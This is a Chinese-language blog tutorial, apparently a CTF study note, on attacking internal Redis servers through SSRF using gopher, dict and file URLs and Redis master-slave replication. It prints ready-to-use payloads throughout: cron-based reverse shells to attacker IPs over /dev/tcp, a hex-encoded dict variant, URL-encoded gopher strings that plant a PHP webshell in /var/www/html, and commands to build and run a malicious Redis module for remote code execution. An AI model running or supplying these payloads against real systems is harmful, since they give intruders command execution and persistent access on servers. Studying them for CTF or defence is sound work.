利用SSRF攻击内网Redis服务

本文最后更新于:1 年前

研究一下 利用ssrf攻击内网Redis服务

利用ssrf攻击内网Redis服务

SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统。

Redis服务

Redis 即 REmote Dictionary Server (远程字典服务)

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型

默认端口:6379

Redis语法

Redis 命令用于在 redis 服务上执行操作,其基本语法为:

$ redis-cli

参考—Redis基本语法

攻击payload解读

反弹webshell(需服务器)
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.0.1/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save


1.redis-cli -h $1 flushall
调用redis的命令,-h这里指的是我们的主机ip地址,即$1这个变量,Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key)


2.echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.0.1/8080 0>&1\n\n"|redis-cli -h $1 -x set 1
这里我们利用到了Redis的管道技术,可以查看使用手册,手册上对其的定义是Redis 管道技术可以在服务端未响应时,客户端可以继续向服务端发送请求,并最终一次性读取所有服务端的响应
将前半段语句带入得到,可以看到后半段是一个bashshell反弹,前半段我在网上查了之后发现这应该是定时计划,就是定时的执行我们的bash反弹
有三种定时的文件 /var/spool/cron/root , /var/spool/cron/crontabs/root 以及/etc/crontab


3.redis-cli -h $1 config set dir /var/spool/cron/
指定本地数据库存放目录为/var/spool/cron/


4.redis-cli -h $1 config set dbfilename root
config get:获取配置文件信息。config set:动态地调整 Redis 服务器的配置(configuration)而无须重启,可以修改的配置参数可以使用命令 CONFIG GET * 来列出,指定本地数据库文件名,默认值为dump.rdb


5.redis-cli -h $1 save
执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘, 保存成功就返回 OK ,这一步就是保存到我们的硬盘文件上

参考—Redis利用,攻击内网(ssrf)

向目标服务器写码
 flushall
 set 1 <?php system("find / -name fla*");?>
 config set dir /var/www/html
 config set dbfilename shell.php
 save


RESP协议

Redis的协议规范是 Redis Serialization Protocol (Redis序列化协议)

Redis 的客户端和服务端之间采取了一种独立的名为 RESP(REdis Serialization Protocol) 的协议,作者主要考虑了以下几个点:

  • 实现简单
  • 快速解析
  • 可读性强

注意:RESP 虽然是为 Redis 设计的,但是同样也可以用于其他 C/S 的软件

数据类型

RESP 主要可以序列化以下几种类型:整数,单行回复(简单字符串),数组,错误信息,多行字符串

Redis 客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器

客户端—>服务器
192.168.163.128:6379> set name test
OK
192.168.163.128:6379> get name
"test"
192.168.163.128:6379>

抓取数据包

hex–>

客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型

数据包分析,首先是
*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为[“set”,”name”,”test”])
$4代表字符串的长度
0d0a即\r\n表示结束符
+OK表示服务端执行成功后返回的字符串

参考—浅析Redis中SSRF的利用 -> RESP协议

服务器—>客户端

服务端根据不同的命令回复不同类型的数据,但协议的每部分都是以 “\r\n” (CRLF) 结尾的

在 RESP 中, 一些数据的类型通过它的第一个字节进行回显判断:

  • 单行回复:回复的第一个字节是 “ + ”
  • 错误信息:回复的第一个字节是 “ - ”
  • 整形数字:回复的第一个字节是 “ : ”
  • 多行字符串:回复的第一个字节是 “ $ ”
  • 数组:回复的第一个字节是 “ * ”

curl

cURL是一个利用URL语法在命令行下工作的文件传输工具。它支持文件上传和下载,所以是综合传输工具。cURL还包含了用于程序开发的libcurl

cURL支持的通信协议有:FTP、FTPS、HTTP、HTTPS、Gopher、SCP、Telnet、DICT、FILE、LDAP、LDAPS、IMAP、POP3、SMTP和RTSP
cURL还支持SSL认证、HTTP POST、HTTP PUT、FTP

相关函数

curl_init() 初始化一个cURL会话

curl_setopt() 设置一个cURL传输选项

curl_exec() 执行cURL会话

curl_close() 关闭cURL会话

curl请求网页

$url="";                //设置url

$ch = curl_init();        //初使化curl

curl_setopt($ch, CURLOPT_URL, $url);              //请求的url,由形参传入

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    //将得到的数据返回

curl_setopt($ch, CURLOPT_HEADER, 0);            //不处理头信息

curl_setopt($ch, CURLOPT_TIMEOUT, 10);            //连接超过10秒超时

$output = curl_exec($ch);                        //执行curl

curl_close($ch);                                //关闭资源

echo $output;                                    //返回内容


$url="";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$output = curl_exec($ch);
curl_close($ch);

Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口

Gopher 协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面

Gopher协议格式

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • gopher的默认端口是6379

  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

使用条件

Gopher协议GET传数据

Gopher协议POST传数据

url编码payload中的%0a改为%0d%0a

参考—利用 Gopher 协议拓展攻击面


Dict 协议

Dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的

它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典

Dict服务器和客户机使用TCP端口2628

Dict 利用

dict://serverip:port/命令

参数向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了

参考—SSRF漏洞用到的其他协议(dict协议,file协议)

File 协议

file协议主要用于访问本地计算机中的文件

file协议主要用于访问本地计算机中的文件

File 利用

file://文件路径

使用file协议可以直接读取目标操作系统的文件

参考—SSRF漏洞用到的其他协议(dict协议,file协议)

反弹webshell(需服务器)

Gopher 协议

改成适配于 Gopher 协议的 URL

1.攻击地址
2.本地地址(反弹shell的地址)

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

参考—利用 Gopher 协议拓展攻击面

Dict 协议

1.攻击地址
2.本地地址(反弹shell的地址)

curl dict://192.168.0.119:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n"
curl dict://192.168.0.119:6379/config:set:dir:/etc/
curl dict://192.168.0.119:6379/config:set:dbfilename:crontab
curl dict://192.168.0.119:6379/bgsave

curl dict://192.168.0.119:6379/set:mars:\"\\x0a\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x72\\x6f\\x6f\\x74\\x20\\x62\\x61\\x73\\x68\\x20\\x2d\\x69\\x20\\x3e\\x26\\x20\\x2f\\x64\\x65\\x76\\x2f\\x74\\x63\\x70\\x2f\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x30\\x2e\\x31\\x31\\x39\\x2f\\x39\\x39\\x39\\x39\\x20\\x30\\x3e\\x26\\x31\\x0a\"

绝对路径写webshell

Gopher 协议

改成适配于 Gopher 协议的 URL

url解码,修改payload

1.攻击地址

//<?php system("find / -name fla*");?>
需要注意换行也算字节数

gopher://10.138.132.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2440%0D%0A%0A%0A%3C%3Fphp%20system%28%22find%20/%20-name%20fla%2A%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

//<?php system("cat /flag");?>

gopher://10.138.132.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

---请求url/shell.php

参考—err0r—EZ三剑客-EzWeb

题目—BUU—[GKCTF2020]EZ三剑客-EzWeb


写ssh公钥

https://www.cnblogs.com/linuxsec/articles/11221756.html


利用contrab计划任务反弹shell

https://www.cnblogs.com/linuxsec/articles/11221756.html


Redis4.x/5.x从SSRF到RCE

https://www.cnblogs.com/linuxsec/articles/11221756.html


redis 主从复制 rce

主从复制原理

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis

三种方式建立主从复制

1.配置文件写入

slaveof <master_ip> <master_port>

2.redis-server启动命令后加入

--slaveof <master_ip> <master_port>

3.连接到客户端之后执行

slaveof <master_ip> <master_port>

PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作

redis module

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能

Redis模块是动态库,可以在启动时或使用 MODULE LOAD 命令加载到Redis中

利用原理

利用全量复制将master上的RDB文件同步到slave上,这一步就是将我们的恶意so文件同步到slave上,从而加载恶意so文件达到rce的目的

slave 和 master 握手协议过程

常量说明

#define REPL_STATE_CONNECTING 2 /* 等待和master连接 */
/* --- 握手状态开始 --- */
#define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */
#define REPL_STATE_SEND_AUTH 4 /* 发送认证消息 */
#define REPL_STATE_RECEIVE_AUTH 5 /* 等待认证回复 */
#define REPL_STATE_SEND_PORT 6 /* 发送REPLCONF信息,主要是当前实例监听端口 */
#define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_CAPA 8 /* 发送REPLCONF capa */
#define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_PSYNC 10 /* 发送PSYNC */
#define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */
/* --- 握手状态结束 --- */
#define REPL_STATE_TRANSFER 12 /* 正在从master接收RDB文件 */

利用全量复制将master上的RDB文件同步到slave上,这一步就是将我们的恶意so文件同步到slave上,从而加载恶意so文件达到rce的目的

全量复制

https://www.cnblogs.com/linuxsec/articles/11221756.html

增量复制

https://www.cnblogs.com/linuxsec/articles/11221756.html

手动getshell

配置一个我们需要以master身份给slave传输so文件的服务

PING 测试连接是否可用
+PONG 告诉slave连接可用
REPLCONF 发送REPLCONF信息,主要是当前实例监听端口
+OK 告诉slave成功接受
REPLCONF 发送REPLCONF capa
+OK 告诉slave成功接受
PSYNC <rundi> <offest> 发送PSYNC

将要攻击的redis服务器设置成我们的slave

SLAVEOF ip port

设置RDB文件

PS : 这里注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用

config set dir path

config set dbfilename exp.so

告诉slave使用全量复制并从我们配置的Rouge Server接收module

+FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>

PS:其中无要求,不过长度一般为40,一般设置为1

自动化getshell

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的

通过脚本实现一键自动化getshell:

1.生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

2.攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

参考—redis 主从复制 漏洞详细利用原理和利用代码编写方式

参考—浅析Redis中SSRF的利用

参考例题—网鼎杯 2020 玄武组 SSRFMe


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!